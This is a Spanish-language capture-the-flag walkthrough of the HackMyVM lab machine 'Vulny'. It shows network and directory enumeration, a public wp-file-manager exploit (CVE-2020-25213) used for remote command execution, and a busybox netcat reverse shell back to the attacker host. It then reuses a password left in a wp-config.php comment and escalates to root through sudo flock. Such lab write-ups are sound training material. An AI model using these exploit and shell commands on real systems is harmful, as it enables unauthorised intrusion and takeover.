💀 Máquina Vulny - HackMyVm
Reconocimiento
Lo primero que haremos será identificar la dirección IP de la máquina objetivo. Para ello utilizamos arp-scan, una herramienta muy útil para descubrir hosts activos en la red.
1
2
3
4
5
6
7
8
9
10
sudo arp-scan -I eth1 10.10.10.0/24
Interface: eth1, type: EN10MB, MAC: 08:00:27:41:0a:fa, IPv4: 10.10.10.101
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.10.10.1 0a:00:27:00:00:0a (Unknown: locally administered)
10.10.10.100 08:00:27:d1:b8:92 PCS Systemtechnik GmbH
10.10.10.105 08:00:27:78:c7:6c PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.964 seconds (130.35 hosts/sec). 3 responded
Una vez identificada la dirección IP de la máquina (10.10.10.105), continuamos con un escaneo inicial utilizando Nmap para obtener información sobre los servicios expuestos y posibles vectores de ataque.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo nmap -sSCV -p- -n --min-rate 5000 -vvv 10.10.10.105 -oN scan
Nmap scan report for 10.10.10.105
Host is up, received arp-response (0.00077s latency).
Scanned at 2026-02-12 07:12:51 EST for 11s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open mysqlx syn-ack ttl 64 MySQL X protocol listener
MAC Address: 08:00:27:78:C7:6C (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap identifica dos servicios abiertos: una aplicación web en el puerto 80 y una base de datos MySQLX en el puerto 33060.
Comenzaremos analizando la aplicación web.
Como podemos observar, se muestra la página por defecto de un servidor Apache, por lo que será necesario realizar un proceso de fuzzing de directorios para comprobar si existe contenido adicional.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gobuster dir -u 10.10.10.105 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -t 10 -o dirs
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.105
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
javascript (Status: 301) [Size: 317] [--> http://10.10.10.105/javascript/]
secret (Status: 301) [Size: 313] [--> http://10.10.10.105/secret/]
server-status (Status: 403) [Size: 277]
Progress: 207641 / 207641 (100.00%)
Identificamos un directorio secret que resulta llamativo, así que procedemos a examinar su contenido.
Por lo que observamos, parece tratarse de una instalación de WordPress que no está completamente configurada, por lo que en esta ruta no podremos avanzar demasiado.
No obstante, sabemos que en WordPress suelen existir rutas expuestas que proporcionan información relevante sobre el sitio. Por ello, realizaremos nuevamente un proceso de fuerza bruta de directorios, esta vez sobre la ruta secret.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gobuster dir -u 10.10.10.105/secret -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -t 10 -o dirs
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.105/secret
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
wp-content (Status: 301) [Size: 324] [--> http://10.10.10.105/secret/wp-content/]
wp-includes (Status: 301) [Size: 325] [--> http://10.10.10.105/secret/wp-includes/]
wp-admin (Status: 301) [Size: 322] [--> http://10.10.10.105/secret/wp-admin/]
Progress: 207641 / 207641 (100.00%)
Explotación
Aquí ya podemos identificar varias rutas habituales cuando trabajamos con WordPress.
Al explorar el directorio wp-content, encontramos el plugin wp-file-manager junto con una versión específica, en este caso la 6.0.
1
2
3
4
5
6
7
searchsploit wp-file-manager
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE | php/webapps/51224.py
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Tras una comprobación rápida, confirmamos que el plugin es vulnerable a un Unauthenticated Arbitrary File Upload leading to RCE.
Procedemos a descargar el script en Python y analizar su funcionamiento.
1
2
3
4
5
6
7
8
searchsploit -m 51224
Exploit: WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE
URL: https://www.exploit-db.com/exploits/51224
Path: /usr/share/exploitdb/exploits/php/webapps/51224.py
Codes: CVE-2020-25213
Verified: True
File Type: Python script, ASCII text executable, with very long lines (501)
Copied to: /home/kali/Documents/51224.py
Revisando su funcionamiento, comprobamos que para ejecutarlo únicamente es necesario proporcionarle la URL del WordPress y el comando que deseamos ejecutar.
1
2
./51224.py http://10.10.10.105/secret id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1
2
./51224.py http://10.10.10.105/secret 'which nc'
/usr/bin/nc
Como podemos comprobar, la vulnerabilidad permite ejecutar comandos de forma remota.
A partir de este punto intentamos obtener una reverse shell. Sin embargo, la configuración de la máquina complica este proceso: tanto si utilizamos netcat como la reverse shell típica de bash, no logramos establecer la conexión.
Tras investigar un poco más, observamos que busybox está disponible en el sistema, por lo que probamos a utilizarlo para intentar obtener una reverse shell funcional.
1
curl 'http://10.10.10.105/secret/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=busybox%20nc%2010.10.10.101%209001%20-e%20sh'
Y ahora sí, hemos conseguido obtener una shell en la máquina víctima.
Post Explotación
A continuación, aplicamos un tratamiento de la TTY para obtener una consola completamente interactiva.
1
2
3
4
5
6
7
script /dev/null -c bash
# CTRL+Z
stty raw -echo;fg
reset xterm
export SHELL=/bin/bash
export TERM=xterm-256color
source /etc/skel/.bashrc
Comprobamos que actualmente somos el usuario www-data y, tras revisar el sistema, identificamos la presencia de un usuario llamado Adrian, por lo que será necesario escalar hacia su cuenta.
Al examinar los archivos habituales de WordPress, encontramos lo que parece ser una contraseña filtrada en el archivo wp-config.php.
1
www-data@vulny:/usr/share/wordpress$ cat wp-config.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
/***
* WordPress's Debianised default master config file
* Please do NOT edit and learn how the configuration works in
* /usr/share/doc/wordpress/README.Debian
***/
/* Look up a host-specific config file in
* /etc/wordpress/config-<host>.php or /etc/wordpress/config-<domain>.php
*/
$debian_server = preg_replace('/:.*/', "", $_SERVER['HTTP_HOST']);
$debian_server = preg_replace("/[^a-zA-Z0-9.\-]/", "", $debian_server);
$debian_file = '/etc/wordpress/config-'.strtolower($debian_server).'.php';
/* Main site in case of multisite with subdomains */
$debian_main_server = preg_replace("/^[^.]*\./", "", $debian_server);
$debian_main_file = '/etc/wordpress/config-'.strtolower($debian_main_server).'.php';
if (file_exists($debian_file)) {
require_once($debian_file);
define('DEBIAN_FILE', $debian_file);
} elseif (file_exists($debian_main_file)) {
require_once($debian_main_file);
define('DEBIAN_FILE', $debian_main_file);
} elseif (file_exists("/etc/wordpress/config-default.php")) {
require_once("/etc/wordpress/config-default.php");
define('DEBIAN_FILE', "/etc/wordpress/config-default.php");
} else {
header("HTTP/1.0 404 Not Found");
echo "Neither <b>$debian_file</b> nor <b>$debian_main_file</b> could be found. <br/> Ensure one of them exists, is readable by the webserver and contains the right password/username.";
exit(1);
}
/* idrinksomewater */
/* Default value for some constants if they have not yet been set
by the host-specific config files */
if (!defined('ABSPATH'))
define('ABSPATH', '/usr/share/wordpress/');
if (!defined('WP_CORE_UPDATE'))
define('WP_CORE_UPDATE', false);
if (!defined('WP_ALLOW_MULTISITE'))
define('WP_ALLOW_MULTISITE', true);
if (!defined('DB_NAME'))
define('DB_NAME', 'wordpress');
if (!defined('DB_USER'))
define('DB_USER', 'wordpress');
if (!defined('DB_HOST'))
define('DB_HOST', 'localhost');
if (!defined('WP_CONTENT_DIR') && !defined('DONT_SET_WP_CONTENT_DIR'))
define('WP_CONTENT_DIR', '/var/lib/wordpress/wp-content');
/* Default value for the table_prefix variable so that it doesn't need to
be put in every host-specific config file */
if (!isset($table_prefix)) {
$table_prefix = 'wp_';
}
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')
$_SERVER['HTTPS'] = 'on';
require_once(ABSPATH . 'wp-settings.php');
?>
Probamos las credenciales adrian : idrinksomewater para comprobar si es posible cambiar al usuario Adrian.
1
2
3
4
www-data@vulny:/$ su adrian
Password: idrinksomewater
adrian@vulny:/$
Como podemos ver, hemos conseguido convertirnos en el usuario Adrian.
En este punto ya podemos leer la flag de user.txt, así que continuamos buscando una forma de escalar privilegios hasta root.
1
2
3
4
5
6
7
adrian@vulny:~$ sudo -l
Matching Defaults entries for adrian on vulny:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User adrian may run the following commands on vulny:
(ALL : ALL) NOPASSWD: /usr/bin/flock
Como podemos ver, la escalada es bastante sencilla: encontramos un binario SUID que podemos ejecutar como sudo.
Consultamos GTFOBins para identificar la forma de explotarlo.
1
2
3
4
5
6
7
flock -u / /bin/sh
adrian@vulny:~$ sudo flock -u / /bin/sh
sudo flock -u / /bin/sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
Y ya somos root, por lo que podemos buscar la flag en su directorio.
1
2
3
4
cd /root
# ls
ls
root.txt snap



